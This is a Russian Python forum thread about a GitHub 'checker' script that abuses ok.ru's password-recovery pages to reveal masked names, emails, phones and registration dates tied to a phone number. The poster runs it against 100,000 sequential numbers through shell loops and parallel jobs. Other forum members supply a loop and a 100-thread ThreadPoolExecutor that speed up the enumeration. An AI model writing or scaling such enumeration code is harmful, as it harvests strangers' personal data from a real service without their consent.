Уведомления

Группа в Telegram: @pythonsu

#1 Июнь 7, 2021 16:02:12

l0gin.an
Зарегистрирован: 2021-06-07
Сообщения: 5
Репутация: +  0  -
Профиль   Отправить e-mail  

python3 как записать номера из файла

Здравствуйте, Помогите пожалуйста: - нашел на гите чекер ok.ru, запись результатов в файл понял как сделать, а вот, чтобы номера взять из файла для запроса не могу понять, с начала недели уже бьюсь, не могу понять куда записывать, что уже только не перепробовал, python только изучать начал.
сейчас вызывается так: python3 test.py 79246202039
а нужно python3 test.py numbers.txt
и как выставить количество потоков к этому test.py?

 #!/usr/bin/env python3
import argparse
import requests
import sys
#import re
from bs4 import BeautifulSoup
temp = sys.stdout
sys.stdout=open("out.txt","a")
sys.stdout.write(str() + '\n')
OK_LOGIN_URL = \
    'https://www.ok.ru/dk?st.cmd=anonymMain&st.accRecovery=on&st.error=errors.password.wrong'
OK_RECOVER_URL = \
    'https://www.ok.ru/dk?st.cmd=anonymRecoveryAfterFailedLogin&st._aid=LeftColumn_Login_ForgotPassword'
#with open('1.txt') as infile:
    #for line in infile:
        #line.split('{login_data}')
#
def check_login(file_name):#file_name = input("79260000000")
    session = requests.Session()
    session.get(f'{OK_LOGIN_URL}&st.email={file_name}')
    request = session.get(OK_RECOVER_URL)
    root_soup = BeautifulSoup(request.content, 'html.parser')
    soup = root_soup.find('div', {'data-l': 'registrationContainer,offer_contact_rest'})
    if soup:
        account_info = soup.find('div', {'class': 'ext-registration_tx taCenter'})
        masked_email = soup.find('button', {'data-l': 't,email'})
        masked_phone = soup.find('button', {'data-l': 't,phone'})
        if masked_phone:
            masked_phone = masked_phone.find('div', {'class': 'ext-registration_stub_small_header'}).get_text()
        if masked_email:
            masked_email = masked_email.find('div', {'class': 'ext-registration_stub_small_header'}).get_text()
        if account_info:
            masked_name = account_info.find('div', {'class': 'ext-registration_username_header'})
            if masked_name:
                masked_name = masked_name.get_text()
            account_info = account_info.findAll('div', {'class': 'lstp-t'})
            if account_info:
                profile_info = account_info[0].get_text()
                profile_registred = account_info[1].get_text()
            else:
                profile_info = None
                profile_registred = None
        else:
            return None
        return {
            'masked_name': masked_name,
            'masked_email': masked_email,
            'masked_phone': masked_phone,
            'profile_info': profile_info,
            'profile_registred': profile_registred,
        }
    if root_soup.find('div', {'data-l': 'registrationContainer,home_rest'}):
        return 'not associated'
        
def console_output(file_name, parsed_response):
    if parsed_response:
        if parsed_response == 'not associated':
            print('{file_name}', "NONE", end="")
        else:
            print(f'{file_name}', end=' ')
            for key, value in parsed_response.items():
                if value:
                    #print(f'{key} - {value}')
                    print(f'{value}', end=' ')
           
    else:
        print('No fault, but server return unknown response')
def console_run():
    arg_parser = argparse.ArgumentParser(description='Simple checker for ok.ru partial private data disclosure')
    arg_parser.add_argument('file_name', help='known credential to check (email / phone number / username)')
    args = arg_parser.parse_args()
    file_name = args.file_name
    response = check_login(file_name)
    console_output(file_name, response)
if __name__ == '__main__':
    console_run()
    sys.stdout.close()
    sys.stdout = temp

Офлайн

#2 Июнь 8, 2021 00:50:57

py.user.next
От:
Зарегистрирован: 2010-04-29
Сообщения: 9897
Репутация: +  855  -
Профиль   Отправить e-mail  

python3 как записать номера из файла

Скрипт написан плохо. Хороший скрипт ты всегда легко поменяешь, каким бы сложным он ни был.
Так что лучше взять информацию из него по взаимодействию с ok.ru и написать новый скрипт по всем правилам.

Какой-то дурачок скрипт писал, и сейчас ты с его творением мучаешься.



Отредактировано py.user.next (Июнь 8, 2021 00:51:56)

Офлайн

#3 Июнь 10, 2021 16:21:38

l0gin.an
Зарегистрирован: 2021-06-07
Сообщения: 5
Репутация: +  0  -
Профиль   Отправить e-mail  

python3 как записать номера из файла

py.user.next
Скрипт написан плохо. Хороший скрипт ты всегда легко поменяешь, каким бы сложным он ни был.Так что лучше взять информацию из него по взаимодействию с ok.ru и написать новый скрипт по всем правилам.Какой-то дурачок скрипт писал, и сейчас ты с его творением мучаешься.
На гитхаб взял

Офлайн

#4 Июнь 12, 2021 22:08:00

l0gin.an
Зарегистрирован: 2021-06-07
Сообщения: 5
Репутация: +  0  -
Профиль   Отправить e-mail  

python3 как записать номера из файла

В общем питон не знаю вообще, какие варианты только не перепробовал, чтобы добиться желаемого варианта, посмотрел 2 курса по питону, не помогло, решил пойти путём с которым знаком, но может пригодится кому, у меня ситуация такая, что надо было найти имя (оно специфичное, знал, что номер в ок начинается с 79260, поступил следующим образом - (кому то смешно будет):

Сначала получил все номера от 700000 до 800000

 seq 79260700000 79260800000 > 100.txt
Затем привел 100.тхт к виду:
 sed -i '/79260/s/^/python3 test.py /' < 100.txt > 100.sh
Получилось от
 python3 test.py 79260700000
до
 python3 test.py 79260800000
100к номеров
далее разбил 100.sh на 10 файлов:
 split -l 10000 100.sh 0_
Получилось в итоге от 1.sh до 10.sh, и в консоли уже просто дал команду на все 10 потоков:
 sh 1/1.sh & sh 2/2.sh & sh 3/3.sh & sh 4/4.sh & sh 5/5.sh & sh 6/6.sh & sh 7/7.sh & sh 8/8.sh & sh 9/9.sh & sh 10/10.sh
100к номеров отработал баш за 6,5 часов, далее нашел себя по специфичному имени и вспомнил какая почта

Отредактировано l0gin.an (Июнь 12, 2021 22:12:30)

Офлайн

#5 Июнь 12, 2021 23:39:28

doza_and
От:
Зарегистрирован: 2010-08-15
Сообщения: 4138
Репутация: +  252  -
Профиль   Отправить e-mail  

python3 как записать номера из файла

l0gin.an
но может пригодится кому

:) Наверняка пригодится! Буду показывать как не надо делать. 100000 раз дернуть питон с диска еще та идея….
И в этом случае обычно используют асинхронный код а не многопоточный.
https://docs.aiohttp.org/en/stable/client.html И короутин пускают 1000 а не 10.



Офлайн

#6 Июнь 13, 2021 02:23:24

l0gin.an
Зарегистрирован: 2021-06-07
Сообщения: 5
Репутация: +  0  -
Профиль   Отправить e-mail  

python3 как записать номера из файла

doza_and
Знаете, конкретно в этом коде не смог ничего сделать, чтобы номера брались с файла, опыт начальный в питоне, тему создал здесь, на github, на stackoverflow, и за неделю ни одного ответа, кроме как здесь, но и то не по сути, задачу свою впринципе решил, сейчас заноза только осталась, уже как спортивный интерес, просто интересно как именно здесь можно было изменить его, если будет время, будьте добры, покажите как надо, питон все равно теперь учить буду, а этот опыт - это сдался просто, реально неделю не мог переделать его… Добра всем.

Офлайн

#7 Июнь 13, 2021 10:25:12

doza_and
От:
Зарегистрирован: 2010-08-15
Сообщения: 4138
Репутация: +  252  -
Профиль   Отправить e-mail  

python3 как записать номера из файла

l0gin.an
конкретно в этом коде не смог ничего сделать
Это неудивительно. Довольно странно написано. Но по идее функцию вполне могли вызвать.
l0gin.an
как именно здесь можно было изменить его
Ну сама идея брать циферки из файла если нужен перебор странная я думаю работало бы так:
 for i in range(79260700000,79260800000+1):
     result = check_login(i)
     if result:
        .....
# или
with open(txt,"r") as f:
    for i in f:
        result = check_login(i)

вообще непонятно зачем тут пляски с stdin

распараллеливание гораздо сложнее
https://docs.python.org/3/library/concurrent.futures.html
  
with ThreadPoolExecutor(max_workers=100) as e:
      res = e.map(check_login,range(79260700000,79260800000+1))
Естественно надо посмотреть что там с гонками данных
Тредов 100 потому что они полегче процессов и столько можно сделать не сожрав всю память. И много больше чем ядер процессора потому что они все равно не работают а просто ждут ответа от сервера.



Отредактировано doza_and (Июнь 13, 2021 10:37:19)

Офлайн

#8 Июнь 14, 2021 21:55:48

l0gin.an
Зарегистрирован: 2021-06-07
Сообщения: 5
Репутация: +  0  -
Профиль   Отправить e-mail  

python3 как записать номера из файла

doza_and
Здравствуйте, добрался сегодня до питона, первый вариант ваш смог сделать так:
 def console_run():
    arg_parser = argparse.ArgumentParser(description='Simple checker for ok.ru partial private data disclosure')
    arg_parser.add_argument('file_name', help='known credential to check (email / phone number / username)')
    args = arg_parser.parse_args()
    file_name = args.file_name
for file_name in range(79260700000,79260700003+1):
    response = check_login(file_name)
    console_output(file_name, response)
и так работает, а вот с потоками
 with ThreadPoolExecutor(max_workers=100) as e:
      res = e.map(check_login,range(79260700000,79260800000+1))
не могу понять куда это вставить

Отредактировано l0gin.an (Июнь 14, 2021 21:56:56)

Офлайн

#9 Июнь 14, 2021 22:12:39

doza_and
От:
Зарегистрирован: 2010-08-15
Сообщения: 4138
Репутация: +  252  -
Профиль   Отправить e-mail  

python3 как записать номера из файла

l0gin.an
не могу понять куда это вставить
Это вместо for вставляется. map это функция которая применяет другую функцию к каждому элементу последовательности

Я думаю более хороший вариант не с формума копировать а с официальной документации по питону.



Отредактировано doza_and (Июнь 14, 2021 22:13:38)

Офлайн

Board footer

Модераторировать

Powered by DjangoBB

Lo-Fi Version